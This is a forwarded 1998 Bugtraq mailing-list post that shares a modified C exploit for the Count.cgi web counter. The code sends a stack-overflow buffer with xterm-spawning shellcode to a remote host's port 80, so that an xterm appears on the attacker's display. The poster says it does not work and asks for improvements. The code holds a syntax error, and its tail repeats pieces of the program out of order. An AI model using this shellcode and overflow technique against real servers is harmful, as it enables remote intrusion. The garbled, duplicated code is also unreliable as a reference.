Remote count.cgi exploit mods
Date: Mon, 13 Jul 1998 09:37:00 +0600 (ESD)
From: mc@opennet.ru
To: mc@skyway.ru
Subject: Remote count.cgi exploit mods
Forwarded message:
>From owner-bugtraq@NETSPACE.ORG Sat Jul 11 07:04:09 1998
Delivered-To: mc@skyway.ru
Approved-By: aleph1@DFW.NET
Mime-Version: 1.0
X-Sent-Mail: off
X-Mailer: MailCity Service
X-Sender-Ip: 139.130.137.79
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID: <CCKHFKLLBPIGBAAA@mailexcite.com>
Date: Thu, 9 Jul 1998 18:41:46 -0700
Reply-To: _ _ <an713137@MAILEXCITE.COM>
Sender: Bugtraq List <BUGTRAQ@NETSPACE.ORG>
From: _ _ <an713137@MAILEXCITE.COM>
Organization: MailExcite (http://www.mailexcite.com:80)
Subject: Remote count.cgi exploit mods
X-cc: bugtraq@crimelab.com
To: BUGTRAQ@NETSPACE.ORG
There is a commonly known local exploit available which works on Count.cgi. Plaguez posted the original and Gus posted a mod for linux.
I've tried to modify the exploit further to
work on a remote linux site. This seems to be a better way than to test our site internally. It compiles fine and seems to run, but doesnt send me an Xterm. I have attached my hacked code. Any ideas or suggested improvements ??
KAPTEN
an713137@mailexcite.com
----------------snip here if you want------------------
/*###############################################################
#################################################################
##
## count.cgi.l.c - intel linux exploit for Count.cgi
## Gus/97
## Shell code blatantly stolen from 'wwwcount.c' by
## Plaguez <dube0866@eurobretagne.fr>
##
## Spawns an xterm on your $DISPLAY, or override on command
## line.
##
## Modified (ok hacked) by Kapten to test the
## security of a site remotely.
*/
#include <stdio.h>
#include <stdlib.h>
#include <getopt.h>
#include <unistd.h>
#include <string.h>
#include <signal.h>
#include <sys/param.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <stdarg.h>
/* Forwards */
unsigned long getsp(int);
int usage(char *);
void doit(long, char *);
int pop_connect(char *);
int popfd;
FILE *popfp;
/* Constants */
char shell[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xeb\x3c\x5e\x31\xc0\x89\xf1\x8d\x5e\x18\x88\x46\x2c\x88\x46\x30"
"\x88\x46\x39\x88\x46\x4b\x8d\x56\x20\x89\x16\x8d\x56\x2d\x89\x56"
"\x04\x8d\x56\x31\x89\x56\x08\x8d\x56\x3a\x89\x56\x0c\x8d\x56\x10"
"\x89\x46\x10\xb0\x0b\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xbf"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"/usr/X11R6/bin/xterm0-ut0-display0";
/* To send an xterm the line above should work */
char endpad[]=
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff";
int main (int argc, char *argv[]){
char *shellcode;
int cnt,ver;
unsigned long sp;
int retcount;
int dotquads[4];
int dispnum;
char displaynamebuf[255];
sp = cnt = ver = 0;
printf("Counterterm - Gus\n");
if (argc<4) usage(argv[0]);
while ((cnt = getopt(argc,argv,"d:v:h:")) != EOF) {
switch(cnt){
case 'd':
{
retcount = sscanf(optarg, "%d.%d.%d.%d:%d",
&dotquads[0],
&dotquads[1],
&dotquads[2],
&dotquads[3], &dispnum);
if (retcount != 5) usage(argv[0]);
sprintf(displaynamebuf, "%03d.%03d.%03d.%03d:%01d",
dotquads[0], dotquads[1], dotquads[2],dotquads[3], dispnum);
shellcode=malloc(strlen((char *)optarg)+strlen(shell)+strlen(endpad));
sprintf(shellcode,"%s%s%s",shell,displaynamebuf,endpad);
}
break;
case 'v':
ver = atoi(optarg);
printf("Ver is %d\n",ver);
break;
case 'h' :
if(pop_connect(optarg == -1)
{
printf("Error connecting to host %s\n", optarg);
exit(0);
}
printf("Connected to: %s\n", optarg);
popfp=fdopen(popfd, "rt");
break;
default:
usage(argv[0]);
break;
}
}
sp = getsp(ver);
(void)doit(sp,shellcode);
exit(0);
}
unsigned long getsp(int ver) {
/* Get the stack pointer we should be using. This is version specific, and,
** as with all buffer overruns is more of a pointer than a precise value.
*/
unsigned long sp=0;
if (ver == 15) sp = 0xFFFFFF;
if (ver == 20) sp = 0XFFFFFF;
if (ver == 22) sp = 0xbfffa0b4; /* This is a common version */
if (ver == 23) sp = 0xbfffee38;
if (sp == 0) {
printf("That version is not vulnerable.\n");
exit(1);
} else {
printf("Using offset 0x%x\n",sp);
return sp;
}
}
int usage (char *name) {
printf("Usage:%s -d <Your IP> -v <version> -h <target host>\n",name);
printf("e.g. %s -d 127.0.0.1:0 -v 22 sucker.target.com \n",name);
exit(1);
}
void doit (long sp, char *shellcode) {
int cnt;
char qs[7000];
char chain[] = "user=a";
int j,k;
for(cnt=0;cnt<4104;cnt+=4) {
qs[cnt+0] = sp & 0x000000ff;
qs[cnt+1] = (sp & 0x0000ff00) >> 8;
qs[cnt+2] = (sp & 0x00ff0000) >> 16;
qs[cnt+3] = (sp & 0xff000000) >> 24;
}
strcpy(qs,chain);
qs[strlen(chain)]=0x90;
qs[4104]= sp&0x000000ff;
qs[4105]=(sp&0x0000ff00)>>8;
qs[4106]=(sp&0x00ff0000)>>16;
qs[4107]=(sp&0xff000000)>>24;
qs[4108]= sp&0x000000ff;
qs[4109]=(sp&0x0000ff00)>>8;
qs[4110]=(sp&0x00ff0000)>>16;
qs[4111]=(sp&0xff000000)>>24;
qs[4112]= sp&0x000000ff;
qs[4113]=(sp&0x0000ff00)>>8;
qs[4114]=(sp&0x00ff0000)>>16;
qs[4115]=(sp&0xff000000)>>24;
qs[4116]= sp&0x000000ff;
qs[4117]=(sp&0x0000ff00)>>8;
qs[4118]=(sp&0x00ff0000)>>16;
qs[4119]=(sp&0xff000000)>>24;
qs[4120]= sp&0x000000ff;
qs[4121]=(sp&0x0000ff00)>>8;
qs[4122]=(sp&0x00ff0000)>>16;
qs[4123]=(sp&0xff000000)>>24;
qs[4124]= sp&0x000000ff;
qs[4125]=(sp&0x0000ff00)>>8;
qs[4126]=(sp&0x00ff0000)>>16;
qs[4127]=(sp&0xff000000)>>24;
qs[4128]= sp&0x000000ff;
qs[4129]=(sp&0x0000ff00)>>8;
qs[4130]=(sp&0x00ff0000)>>16;
qs[4131]=(sp&0xff000000)>>24;
strcpy((char*)&qs[4132],shellcode);
/* For local Counter testing we would use the following ..
setenv("HTTP_USER_AGENT",qs,1);
setenv("QUERY_STRING",qs,1);
system("./Count.cgi"); */
/* But for testing a remote site we will try this .. */
setenv("HTTP_USER_AGENT",qs,1);
setenv("QUERY_STRING",qs,1);
send(popfd, "GET /cgi-bin/Count.cgi\n\n",24,0);
/* pause for a while */
printf("Sending the buffer to port 80.\n");
for(j=0;j<500;j++)
{
for(k=0;k<500;k++){;}
printf(".");
}
printf("\n");
fclose(popfp);
close(popfd);
}
int pop_connect(char *pophost)
{
int popsocket;
struct sockaddr_in sin;
struct hostent *hp;
hp=gethostbyname(pophost);
if(hp==NULL) return -1;
bzero((char *)&sin,sizeof(sin));
bcopy(hp->h_addr,(char *)&sin.sin_addr,hp->h_length);
sin.sin_family=hp->h_addrtype;
sin.sin_port=htons(80); /* set port to 80 for http */
popsocket=socket(AF_INET, SOCK_STREAM, 0);
if(popsocket==-1) return -1;
if(connect(popsocket,(struct sockaddr *)&sin,sizeof(sin))==-1) return -1;
popfd=popsocket;
return popsocket;
}
5Cn",24,0);
/* pause for a while */
printf("Sending the buffer to port 80.\n");
for(j=0;j<500;j++)
{
for(k=0;k<500;k++){;}
printf(".");
}
printf("\n");
fclose(popfp);
close(popfd);
}
int pop_connect(char *pophost)
{
int popsocket;
struct sockaddr_in sin;
struct hostent *hp;
hp=gethostbyname(pophost);
if(hp==NULL) return -1;
bzero((char *)&sin,sizeof(sin));
bcopy(hp->h_addr,(char *)&sin.sin_addr,hp->h_length);
sin.sin_family=hp->h_addrtype;
sin.sin_port=htons(80); /* set port to 80 for http */
popsocket=socket(AF_INET, SOCK_STREAM, 0);
if(popsocket==-1) return -1;
if(connect(popsocket,(struct sockaddr *)&sin,sizeof(sin))==-1) return -1;
popfd=popsocket;
return popsocket;
}
/* But for testing a remote site we will try this .. */
setenv("HTTP_USER_AGENT",qs,1);
setenv("QUERY_STRING",qs,1);
send(popfd, "GET /cgi-bin/Count.cgi\n
Free web-based email, Forever, From anywhere!
http://www.mailexcite.com